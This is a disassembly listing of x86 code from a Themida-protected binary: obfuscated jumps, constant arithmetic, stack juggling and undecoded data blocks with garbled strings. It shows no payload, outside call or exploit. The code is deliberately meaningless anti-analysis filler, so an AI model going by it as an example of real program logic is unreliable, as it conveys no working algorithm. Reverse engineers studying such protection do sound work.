		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		not	ecx
		push	eax
		sub	esp, 4
		jmp	loc_58D9D2
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 5F54243Ch, 4B850h, 0C7010000h, 0B7BA5258h, 0F72BFE76h
		dd 81D2F7D2h, 0FE76B3EAh, 0E9D7292Bh, 534Eh
; ---------------------------------------------------------------------------


loc_5899CC:				; CODE XREF: Themida_:00591489j
		mov	ebp, 60B25D7Dh
		xor	ebp, 1AA12431h
		or	ebp, 50002297h
		dec	ebp
		add	ebp, 0B8C3BA08h
		xor	eax, ebp
		pop	ebp
		push	dword ptr [edi+eax*4]
		jmp	loc_59209F
; ---------------------------------------------------------------------------


loc_5899EF:				; CODE XREF: Themida_:00590E40j
		pop	ebp
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_594C76
; ---------------------------------------------------------------------------
		dd 0F280EAD0h, 66D328FBh, 8324148Bh, 0B60F02C4h, 8734FFC0h
		dd 0FFFA45E9h, 3C8966FFh, 62BF6624h, 0F9296600h, 243C8B66h
		dd 6602C483h, 0C8BC801h, 4C48124h, 81000000h, 2ECh, 2C896600h
		dd 71CCE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_589A4A:				; CODE XREF: Themida_:0058A083j
		add	esp, 4
		mov	edx, [esp]
		jmp	loc_5924B5
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 28h
		dd 0BB4B2C39h, 0E2D5C9D8h, 348BF301h, 0E2895224h, 4C281h
		dd 86E90000h, 8B000058h, 0C4832434h, 0E9FA2904h, 9B61h
		dd 4BD55h, 0EF010000h, 0EAE9515Dh, 8700006Ch, 45C2414h
		dd 1400E96Ch, 0EB280000h, 0FF15C380h, 0E9592434h, 1567h
		dd 944CC681h, 0F0E906C5h, 3100006Bh, 82E95FFAh,	55000013h
		dd 0C6402DBDh, 0D7BE561Ch, 0F710CD46h, 24FE9D6h, 0C3800000h
		dd 0A0E7E94Bh, 74FF0000h, 0E9580424h, 3FC8h
; ---------------------------------------------------------------------------


loc_589AE0:				; CODE XREF: Themida_:005895BAj
		add	esp, 4
		shr	ecx, 7
		push	ecx
		push	ebx
		mov	ebx, 1Ch
		jmp	loc_58AC7A
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C1h
		dd 4, 5572E9h, 8BBD5500h, 0C145FE35h, 0A1E907E5h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_589B0F:				; CODE XREF: Themida_:0059061Fj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	eax, edx
		jmp	loc_5907DA
; ---------------------------------------------------------------------------
		db 68h,	0D7h, 20h
		dd 3C890000h, 81E78924h, 4C7h, 4EF8100h, 57000000h, 42474FFh
		dd 24048F5Fh, 22AE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_589B42:				; CODE XREF: Themida_:0058E877j
		mov	esi, ebx
		jmp	loc_5901E8
; ---------------------------------------------------------------------------
		db 31h,	0Ch, 24h
		dd 9D2BE9h
		db 0
; ---------------------------------------------------------------------------


loc_589B51:				; CODE XREF: Themida_:0058EEA0j
		sub	esi, 7CE56064h
		sub	esi, 74371390h
		add	esi, 20ED13A9h
		or	esi, 66471E3Ah
		inc	esi
		xor	esi, 7C655E5Eh
		jmp	loc_58CDA2
; ---------------------------------------------------------------------------


loc_589B75:				; CODE XREF: Themida_:0058C6EEj
		pop	edi
		sub	[edi+24h], esi
		mov	esi, [esp]
		add	esp, 4


loc_589B7F:				; CODE XREF: Themida_:005911BCj
		push	319Fh
		mov	[esp], ebx
		push	edx
		mov	edx, 8D31F31h
		add	[esp+4], edx
		pop	edx
		pop	eax
		push	ebx
		jmp	loc_5900CB
; ---------------------------------------------------------------------------
		db 0Fh,	0B6h, 0C0h
		dd 0E98734FFh, 36FBh, 0F8B8E95Ch, 9368FFFFh, 89000021h
		dd 0B2B82404h, 0E9421B06h, 4715h, 6117685Fh, 14890000h
		dd 33ADBA24h, 0F74A4606h, 6CBF57D2h, 682BAF2Eh,	27ABh
		dd 0B8240489h, 7F8A6C39h, 481E2B2Dh, 7625402Bh,	532D569h
		dd 29C380Ah, 6AB8D205h,	58C72126h, 0E7D1D7F7h, 12CE68h
		dd 240C8900h, 0D40615B9h, 0CFF18146h, 81435810h, 883AC8E9h
		dd 45E98118h, 21A2ADB5h, 240C8BCFh, 4C481h, 0EFC10000h
		dd 0A4BE5604h, 311BF926h, 0FE3DE9F7h, 0D420FFFFh, 0A6B6525Ah
		dd 0B1EFE9h
		db 0
; ---------------------------------------------------------------------------


loc_589C41:				; CODE XREF: Themida_:00590BD5j
		mov	esi, [esp]
		add	esp, 4
		sub	dword ptr [edi+24h], 0AEC1264h
		sub	dword ptr [edi+24h], 0FFFFFFFFh
		dec	dword ptr [edi+24h]
		add	dword ptr [edi+24h], 0FBFFDB22h
		jmp	loc_58A7D4
; ---------------------------------------------------------------------------


loc_589C64:				; CODE XREF: Themida_:00595974j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		shr	eax, 12h
		jmp	loc_591909
; ---------------------------------------------------------------------------
		db 0D3h
		dd 0E99C240Ch, 0FFFFF7CEh, 8924248Bh, 4812424h,	424h, 0BD555900h
		dd 3EBD3E40h, 8104EDC1h, 4A1B64F5h, 84F58156h, 155A1C8h
		dd 0E9835DE9h, 1F15E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_589CC2:				; CODE XREF: Themida_:0058E576j
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	eax, 7C1E3220h
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_58D261
; ---------------------------------------------------------------------------


loc_589CF4:				; CODE XREF: Themida_:0058B312j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		jmp	loc_58DB9A
; ---------------------------------------------------------------------------
aB?pdusU	db 'É?P„uéÁž',0
		db 0
; ---------------------------------------------------------------------------


loc_589D13:				; CODE XREF: Themida_:0058A552j
		mov	esi, edx
		mov	edx, [esp]
		jmp	loc_59183D
; ---------------------------------------------------------------------------
		db 0C1h, 0EEh, 2
		dd 0D4ADEE81h, 0F501FCF9h, 0E924348Bh, 8DDFh, 4C481h, 59660000h
		dd 0FFC0B60Fh, 0E2E98734h, 5A0000ABh, 0D7F6FC86h, 0F480FC86h
		dd 26BDE988h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_589D52:				; CODE XREF: Themida_:00593BCFj
		mov	esi, 250B6788h
		mov	edi, 1C0B1B36h
		xor	edi, esi
		pop	esi
		shl	edi, 3
		push	0BF6h
		jmp	loc_58D02E
; ---------------------------------------------------------------------------
		dd 0B6241489h, 0EAF680E2h, 25B6E9h, 0D831AD00h,	23F668h
		dd 243C8900h, 610C61BFh, 0F5E94775h
		db 9Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_589D8F:				; CODE XREF: Themida_:00593353j
		push	3CACh
		mov	[esp], ecx
		mov	ecx, 6AE918B1h
		jmp	loc_594445
; ---------------------------------------------------------------------------


loc_589DA1:				; CODE XREF: Themida_:005957A4j
		push	ecx
		jmp	loc_58BAB3
; ---------------------------------------------------------------------------
		db 88h
		dd 0F65859EAh, 0A067E9DAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_589DB2:				; CODE XREF: Themida_:00590550j
		pop	eax
		shl	eax, 2
		sub	eax, 5AFD2216h
		mov	edi, eax
		jmp	loc_58B4D3
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4C48124h, 0E9000000h, 0FFFFF692h, 0BE243489h, 0F412F92h
		dd 8244481h, 3FA40BD7h,	8247401h, 8246C81h, 3FA40BD7h
		dd 8124348Bh, 4C4h, 24348B00h, 0B426E9h
		db 0
; ---------------------------------------------------------------------------


loc_589DFD:				; CODE XREF: Themida_:0058EF6Fj
		pop	eax
		jmp	loc_592299
; ---------------------------------------------------------------------------


loc_589E03:				; CODE XREF: Themida_:005929A1j
		mov	eax, edi
		mov	esi, eax
		pop	eax
		mov	ebx, esi
		push	dword ptr [esp]
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5897CB
; ---------------------------------------------------------------------------
aRsS		db 'RéØ',0
		db 0
; ---------------------------------------------------------------------------


loc_589E2F:				; CODE XREF: Themida_:005919E6j
		shl	dh, 1
		and	dh, 73h
		push	bx
		mov	bl, 0FEh
		sub	dh, bl
		pop	bx
		shr	dh, 7
		jmp	loc_58DBDC
; ---------------------------------------------------------------------------
aTsit		db 'Téi’',0
		align 2
		dw 0C629h
		dd 0BEE68158h, 8161603Bh, 4ECh,	241C8900h, 0BF3E1F68h
		dd 0C3815B78h, 67F95283h, 768CC381h, 0DE216D8Eh, 5391E95Bh
		dd 4050000h, 0E9000000h, 6D69h,	3CBF575Eh, 0E9092142h
		dd 2CA0h, 194AC681h, 0C281CEDBh, 41AB54B8h, 0EA81F201h
		dd 41AB54B8h, 275FE9h, 0DFE95D00h
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_589EAB:				; CODE XREF: Themida_:0058D577j
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		shl	ebx, 2
		jmp	loc_594DF9
; ---------------------------------------------------------------------------
aYs		db '!ÊY鿲',0
		align 4


loc_589EC4:				; CODE XREF: Themida_:00594C79j
		xchg	edi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_58C2FE
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_589769
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0E8830000h, 24043304h, 33240431h, 61E92404h,	0F7000025h
		dd 0F75B2414h, 8AC381DBh, 2DFF8CC9h, 0E0F3F8Bh,	0FFF72CE9h
		dd 301BB5FFh, 0FA8659EAh, 0FA30D7F6h, 0FA30D730h, 0F6D48850h
		dd 58E288DCh, 808DCA80h, 0EC83FFEAh, 1C896602h,	0FED78824h
		dd 66FA88C7h, 5350665Bh, 0CBFE27B3h, 0DBF6DBF6h, 804FCB80h
		dd 2DE9A3CBh, 0B200001Bh, 5AD3280Bh, 66C0B60Fh,	0E924148Bh
		dd 4A4Dh, 0C21AEF81h, 4CE9D3C1h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_589F67:				; CODE XREF: Themida_:0058FC64j
		mov	[esp], edi
		jmp	loc_58BA86
; ---------------------------------------------------------------------------
		db 0B8h
		dd 27C81F13h, 5158C589h, 5B75CBB9h, 55D9F719h, 0D6635BDh
		dd 5DE90910h, 13BEC981h, 0C18115D4h, 129E584Dh,	42C2C581h
		dd 0CD2964FFh, 42C2ED81h, 0F75964FFh, 87FD87DDh, 87D2F7D7h
		dd 51FD87D7h, 6817AFB9h, 0B1E98143h, 0E96093DEh, 48FCh
; ---------------------------------------------------------------------------


loc_589FC0:				; CODE XREF: Themida_:005927E2j
		mov	edx, 4F780455h
		add	[esp+8], edx
		pop	edx
		jmp	loc_58F933
; ---------------------------------------------------------------------------
		db 66h
		dd 83240C8Bh, 0C8904ECh, 83E18924h, 1AE904ECh, 8B0000A1h
		dd 0F6E9241Ch, 58000023h, 2C52E9h, 0D831AD00h, 81E78957h
		dd 4C7h, 4EF8300h, 5C243C87h, 1270E9h, 0B2EB8100h, 8129E278h
		dd 8CA795F3h, 8BDF8964h, 0DDE9241Ch, 6600006Ah,	66C8B60Fh
		dd 37E99C51h, 89FFFFF4h, 4C381E3h, 51000000h, 4B9h, 59CB0100h
		dd 5CA2E9h, 14875800h, 0CB815C24h, 3FC31441h, 0BA52DBF7h
		dd 1D6F0CF6h, 0B6E9EAD1h, 66000034h, 68240C8Bh,	14ADh
		dd 0E9241489h, 9C23h, 0FFF3F1E9h, 0C8B66FFh, 3E8A6824h
		dd 37E90000h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_58A07F:				; CODE XREF: Themida_:00591F4Ej
		push	dword ptr [esp]
		pop	eax
		jmp	loc_589A4A
; ---------------------------------------------------------------------------
		dd 241C8758h, 0F24248Bh, 9C2404A3h, 0FFF3C9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58A099:				; CODE XREF: Themida_:0058A61Ej
		sub	edx, 75746FA1h
		pop	ebx
		add	eax, 5E1B5954h
		jmp	loc_5946D0
; ---------------------------------------------------------------------------
		dw 0EB01h
aH_		db ']h^.',0
		align 2
		dw 489h
aS1		db '$é$1',0
		align 2


loc_58A0BA:				; CODE XREF: Themida_:00594289j
		add	edx, 0FF468E45h
		add	ecx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_58DA80
; ---------------------------------------------------------------------------
		db 0ADh, 5, 6Eh
		dd 291EAD13h, 0AE10E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58A0DE:				; CODE XREF: Themida_:0058B948j
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		jmp	loc_58DA71
; ---------------------------------------------------------------------------


loc_58A0F0:				; CODE XREF: Themida_:00590DE7j
		pop	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_594C40
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 42h
		dd 0E9021BA1h, 5D24h
; ---------------------------------------------------------------------------


loc_58A11C:				; CODE XREF: Themida_:0058F35Ej
		add	eax, 5A7F6EB5h
		push	ecx
		mov	ecx, 9C7E31A1h
		push	esi
		push	edx
		push	402876D8h
		pop	edx
		jmp	loc_58D95B
; ---------------------------------------------------------------------------
		dd 75278235h, 0DEE354Ah, 0F32D61B0h, 89DAADE3h,	24048BC1h
		dd 4316E9h, 667A0500h, 0A32D4B5Eh, 51228976h, 0FF2745B9h
		dd 8D60E922h, 14890000h, 0F5B55124h, 4EC81h, 0C9E90000h
		dd 5B00001Bh, 0BE4E9h
		db 0
; ---------------------------------------------------------------------------


loc_58A179:				; CODE XREF: Themida_:0058F02Ej
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		and	eax, edi
		pop	edi
		shr	eax, 0Ah
		xor	eax, ecx
		push	eax
		push	1900h
		jmp	loc_58B753
; ---------------------------------------------------------------------------


loc_58A199:				; CODE XREF: Themida_:005910A3j
		xor	esi, ecx
		pop	ecx
		add	ebp, esi
		pop	esi
		push	5E32h
		jmp	loc_5937C3
; ---------------------------------------------------------------------------


loc_58A1A9:				; CODE XREF: Themida_:0058CDFEj
		idiv	cx
		jmp	loc_5931C9
; ---------------------------------------------------------------------------
		db 0C1h, 0EEh, 5
		dd 0E906EEC1h, 0FFFFF8ECh, 825EFEBAh, 0E9D33142h, 786Ah
		dd 89240489h, 46856E0h,	5E000000h, 0F6369C05h, 0E9F00101h
		dd 5D91h
; ---------------------------------------------------------------------------


loc_58A1E0:				; CODE XREF: Themida_:005926B5j
		mov	ebx, [esp]
		jmp	loc_593303
; ---------------------------------------------------------------------------
		dd 1C13E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58A1EE:				; CODE XREF: Themida_:0058C6C1j
		mov	edi, esi
		pop	esi
		add	ebp, edi
		pop	edi
		push	ecx
		push	esi
		push	edx
		mov	edx, 333B6859h
		mov	esi, edx
		pop	edx
		xor	esi, 333B685Dh
		mov	ecx, esi
		pop	esi
		sub	ebp, ecx
		jmp	loc_592C93
; ---------------------------------------------------------------------------
		db 29h
		dd 875D5EF7h, 248B243Ch, 74BB5324h, 8118CF5Dh, 9F04246Ch
		dd 0E936A10Bh, 5736h, 0BAE5814Dh, 817BB109h, 2B40ACE5h
		dd 8CF5817Bh, 81290100h, 950E2BEFh, 81EF0105h, 950E2BC7h
		dd 0E9565D05h, 8ACEh
; ---------------------------------------------------------------------------


loc_58A254:				; CODE XREF: Themida_:0058CC18j
		mov	esp, [esp]
		jmp	loc_58B1B1
; ---------------------------------------------------------------------------
		dd 0A72AE1BBh, 0E9D3F732h, 8F6Fh, 0C281CA01h, 1B87197Dh
		dd 81240C8Bh, 4C4h, 11EA8100h, 29292F1Bh, 18BCE9C2h, 50520000h
		dd 122BD7B8h, 58C28935h, 0E95AD501h, 2ADFh, 0BAAAEF81h
		dd 0F9011CF3h, 0B5C1815Fh, 0E98F6F35h, 104h
; ---------------------------------------------------------------------------


loc_58A2AC:				; CODE XREF: Themida_:005910AFj
		add	eax, 61164BB4h
		sub	eax, ebp
		sub	eax, 61164BB4h
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5941B9
; ---------------------------------------------------------------------------
aX1YQqJSS3d	db 'X1ÏYÑïQ¹¦%S"é3d',0
		align 2
aNslp		db '­éLp',0
		align 4


loc_58A2D8:				; CODE XREF: Themida_:005907B5j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 2074356h
		add	eax, 41F02D9h
		push	edi
		push	73EC6533h
		pop	edi
		not	edi
		dec	edi
		neg	edi
		jmp	loc_58CEF6
; ---------------------------------------------------------------------------
		db 83h
		dd 2C2D04C4h, 5726050Ch, 94A0E9h, 242C8900h, 0FC59E950h
		dd 34FFFFFFh, 54555824h, 10E9565Dh, 0FF000022h,	37E94077h
		dd 53FFFFF1h, 9685056h,	58414E37h, 905D9005h, 0AC2F0524h
		dd 0C689BED1h, 2B82E9h,	2474FF00h, 48F5A04h, 24248B24h
		dd 0BF243C89h, 15C161E2h, 3C8BF829h, 4C48324h, 0BE56D829h
		dd 23A94D11h, 0F7FFC683h, 0FDB850DEh, 2D48A21Fh, 0BF36661h
		dd 3BE89235h, 58C629FAh, 34FFF001h, 8EE95E24h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58A38B:				; CODE XREF: Themida_:0058C44Fj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		push	ecx
		push	edx
		push	1E60h
		mov	[esp], edi
		push	ebx
		mov	ebx, 37361CBBh
		push	ebx
		pop	edi
		pop	ebx
		jmp	loc_592C10
; ---------------------------------------------------------------------------
		dd 1A70C781h, 0CF01031Dh, 1A70EF81h, 8359031Dh,	3C8702C7h
		dd 0F665C24h, 9C2404ABh, 0FFF091E9h, 0C4815BFFh, 4, 319FE9h
		dd 5AD00000h, 0EC835966h, 14896602h, 4F736824h,	3E90000h
		dd 0B90000B7h, 598C5242h, 744BC181h, 0B8501D10h, 15F72967h
		dd 8FE9h, 4C38100h, 87000000h, 248B241Ch, 2434FF24h, 234B6858h
		dd 34890000h, 815E5424h, 4ECh, 240C8900h, 468h,	7C46E900h
		dd 0C7830000h, 3B776802h, 3C890000h, 2868E924h,	5F550000h
		dd 5D2434FFh, 6804C483h, 5323h,	0E9243C89h, 487Dh, 24048B66h
		dd 4B8D68h, 0F3A7E900h,	0F3E9FFFFh, 33FFFFEFh, 56E9243Ch
		dd 5A00008Fh, 57C0E9h, 24148700h, 4C7815Ch, 81000000h
		dd 4C7h, 243C3300h, 0E9243C31h,	4AFFh, 0C158C131h, 0F18104E9h
		dd 40D97098h, 319EBA52h, 0D101B910h, 0B5EB815Ah, 13D832Bh
		dd 12BCE9CBh, 13B90000h, 0E923F11Ah, 0C8Fh, 4795E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58A4CA:				; CODE XREF: Themida_:00595178j
		shr	eax, 10h
		xor	eax, ecx
		push	eax
		push	edx
		pop	eax
		mov	edx, [esp]
		push	788Ch
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		jmp	loc_593E2F
; ---------------------------------------------------------------------------
		db 8Ah
		dd 88022474h, 6602247Ch, 83241C8Bh, 63E902C4h, 87FFFFEFh
		dd 59E92404h, 47000083h, 0EF814747h, 0FBD6AA88h, 875FFB01h
		dd 0E95C241Ch, 3618h
; ---------------------------------------------------------------------------


loc_58A51C:				; CODE XREF: Themida_:005904DFj
		xchg	ebp, edi
		xchg	edi, ebx
		jmp	loc_58E83D
; ---------------------------------------------------------------------------


loc_58A525:				; CODE XREF: Themida_:0058D8E1j
		push	63B2h
		mov	[esp], ebx
		mov	ebx, esp
		push	esi
		mov	esi, 0B4223h
		jmp	loc_5954EC
; ---------------------------------------------------------------------------


loc_58A53A:				; CODE XREF: Themida_:00592964j
		or	eax, 39555A42h
		add	eax, 349E8D42h
		mov	ecx, eax
		pop	eax
		xor	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_589D13
; ---------------------------------------------------------------------------


loc_58A557:				; CODE XREF: Themida_:00590A19j
		push	3175h
		mov	[esp], ecx
		jmp	loc_590B9D
; ---------------------------------------------------------------------------
		dd 8904EC83h, 27BB241Ch, 6847A57Bh, 35FBh, 0BD242C89h
		dd 225E4AAAh, 2C8BEB01h, 0E2895224h, 65C68h, 24348900h
		dd 0EE26BEBEh, 0C6BF5758h, 0E919FB35h, 0A2B2h
; ---------------------------------------------------------------------------


loc_58A59C:				; CODE XREF: Themida_:0058D1FBj
		push	edx
		mov	edx, 40B16F53h
		push	ecx
		mov	ecx, 280204FBh
		or	ecx, 5FD569FFh
		shl	ecx, 1
		jmp	loc_593777
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 1DE9E3B7h, 89FFFFEFh, 4C781E7h, 83000000h, 0D96804C7h
		dd 0E900007Bh, 4974h, 0E9F9314Fh, 6A7Dh, 15EB68h, 477AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58A5E6:				; CODE XREF: Themida_:00592F9Cj
		mov	eax, 2B5C7FE7h
		shl	eax, 6
		and	eax, 63E569CCh
		push	edx
		mov	edx, 69D4789Bh
		push	ebx
		mov	ebx, 5ECA2E01h
		xor	ebx, 2ECF0CD8h
		not	ebx
		shl	ebx, 3
		add	ebx, 3B8E17A6h
		sub	ebx, 2BDB35BEh
		add	edx, 75746FA1h
		sub	edx, ebx
		jmp	loc_58A099
; ---------------------------------------------------------------------------
		db 0FFh
		dd 148B2434h, 4C48124h,	83000000h, 2BE904C4h, 80FFFFEEh
		dd 0C380E5EBh, 16EB800Fh, 81E18951h, 4C1h, 4BB5300h, 29000000h
		dd 18FEE9D9h, 34FF0000h, 89525924h, 0ADEAE9E2h,	2C890000h
		dd 40F2BD24h, 45E9262Fh, 29000087h, 3C875BDFh, 89665C24h
		dd 0E3E92404h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58A67F:				; CODE XREF: Themida_:00591838j
		pop	esp
		and	eax, ebp
		jmp	loc_59111B
; ---------------------------------------------------------------------------


loc_58A687:				; CODE XREF: Themida_:005898E3j
		add	edx, 160E2FEBh
		pop	ecx
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_5897DA
		push	ebp
		mov	ebp, esp
		push	edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_594C89
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483242Ch, 0B3B4E904h, 34890000h, 83E68924h, 0BBE904ECh
		dd 33000019h, 248B2414h, 4296624h, 8FE99C24h, 57FFFFEDh
		dd 0C340D1BFh, 0AD8EE9A3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58A6DE:				; CODE XREF: Themida_:00590FC7j
		mov	[esp], ebx
		push	edi
		mov	edi, 4FE636B6h
		xchg	ebx, edi
		jmp	loc_58B403
; ---------------------------------------------------------------------------
aU4XiSN		db '$U4Ï(ÃXˆØé}N',0
		align 4
		dd 5E9E389h, 8B00007Bh,	0E953243Ch, 0B404h, 4C181h, 0C870000h
		dd 14335C24h, 24143124h, 8B241433h, 1662424h, 525D66E8h
		dd 2CEDBA66h, 0B7E94A66h, 1000098h, 0B9E95EF2h,	0B9000010h
		dd 3B683F33h, 8105E9C1h, 0EFF7E2E9h, 59CD017Bh,	5A5DE801h
		dd 0E902C083h, 7157h, 88DC7D35h, 0E9C331BCh, 0FFFFEDC1h
		dd 240C8B66h, 400B68h, 242C8900h, 1748E954h, 0E95F0000h
		dd 0A10Eh, 88D08850h, 885258C1h, 8BF388CEh, 0C4832414h
		dd 5C885904h, 0E95B0187h, 0FFFFECCAh, 514BEB80h, 22E942B1h
		dd 6600007Fh, 5624048Bh, 0C681E689h, 4,	502668h, 956BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58A7BA:				; CODE XREF: Themida_:00591411j
		mov	[esp], ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_590AC7
; ---------------------------------------------------------------------------


loc_58A7D4:				; CODE XREF: Themida_:00589C5Fj
		xor	edx, edx
		push	1504h
		mov	[esp], ebx
		xor	dword ptr [esp], 4B684E0Bh
		jmp	loc_592397
; ---------------------------------------------------------------------------


loc_58A7EA:				; CODE XREF: Themida_:0058C8C3j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_5943D3
		push	ebp
		jmp	loc_58C688
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 454E4DA1h, 0C4ABA52h, 0F74A536Ah, 2FEA81DAh,	81198B6Ah
		dd 40B221F2h, 8F42E9A8h, 48B0000h, 65AEE924h, 5B5A0000h
		dd 8704C683h, 3B5C2434h, 0FBE99CC8h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58A833:				; CODE XREF: Themida_:0058B482j
		pop	ecx
		pop	eax
		push	ebx
		push	ebp
		push	723B34A5h
		jmp	loc_590130
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 1F7EE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58A84E:				; CODE XREF: Themida_:00592203j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5936AE
; ---------------------------------------------------------------------------
		dd 4C581h, 2C330000h, 242C3124h, 5C242C33h, 4294E9h, 0E9C80000h
		dd 25C4h, 0FD41E957h, 8B66FFFFh, 89562404h, 4EC81E6h, 89000000h
		dd 0FAE9241Ch, 81000001h, 0D1560EFh, 8EC78122h,	1AC19A6h
		dd 0C3835FFBh, 241C8704h, 0FC3DE95Ch, 2166FFFFh, 0E95F66FAh
		dd 9EEh, 42474FFh, 5B2434FFh, 81E78957h, 4C7h, 4C78300h
		dd 5C243C87h, 874E9h, 0B60F6600h, 4EC8302h, 5FD6E9h, 9CC38100h
		dd 577BD56Fh, 1F7DE6BFh, 13C38168h, 29444E35h, 13EB81FBh
		dd 5F444E35h, 241C335Fh, 33241C31h, 0D25C241Ch,	0E99C240Ch
		dd 638Ch
; ---------------------------------------------------------------------------


loc_58A910:				; CODE XREF: Themida_:00592540j
		xchg	ebx, [esp]
		mov	esp, [esp]
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	edx, eax
		jmp	loc_58F80B
; ---------------------------------------------------------------------------
		db 83h
		dd 348904ECh, 0B63CBE24h, 0F001A156h, 8BC1015Eh, 0C4812404h
		dd 4, 2C181h, 0C870000h, 24248B24h, 243CD366h, 0EB04E99Ch
		dd 0FFE9FFFFh, 31FFFFEAh, 0EF87243Ch, 4EC81h, 2C890000h
		dd 2414F724h, 0CBE9575Dh
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58A97B:				; CODE XREF: Themida_:0058F1C5j
		pop	ebp
		push	edx
		mov	edx, 4
		jmp	loc_594D33
; ---------------------------------------------------------------------------


loc_58A987:				; CODE XREF: Themida_:00591F29j
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_58BB63
; ---------------------------------------------------------------------------


loc_58A991:				; CODE XREF: Themida_:0058D14Cj
		xchg	ebx, [esp]
		mov	esp, [esp]


loc_58A997:				; CODE XREF: Themida_:0058D304j
					; Themida_:00592E1Dj
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		jmp	loc_58C56D
; ---------------------------------------------------------------------------
		dd 2E5C158h, 19C9C581h,	0DDF7757Bh, 5602E5C1h, 794F92BEh
		dd 5EF50917h, 9066C581h, 0EA818802h, 16EF7F1Eh,	9AE9EA01h
		dd 6800003Dh, 64C9h, 89240C89h,	4C181E1h, 55000000h, 50506852h
		dd 0C15A33FDh, 0E28105E2h, 69B5DE8h, 0E906E2C1h, 0AE95h
		dd 52D830ACh, 0DAF6D9B2h, 51D2EA80h, 0FFF4ECE9h, 0C1815BFFh
		dd 733E1EA0h, 80E9F101h
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58AA2B:				; CODE XREF: Themida_:0058D225j
		mov	esi, 4
		sub	eax, 278B7E5Bh
		add	eax, esi
		jmp	loc_5956B8
; ---------------------------------------------------------------------------
		dd 0C381D329h, 15B2543Dh, 2DC3815Ah, 8100BC0Fh,	92211BC3h
		dd 0E9C30129h, 17F2h
; ---------------------------------------------------------------------------


loc_58AA58:				; CODE XREF: Themida_:005931AFj
		xor	eax, 4E054BD0h
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, ebp
		push	ebx
		jmp	loc_58FCD4
; ---------------------------------------------------------------------------


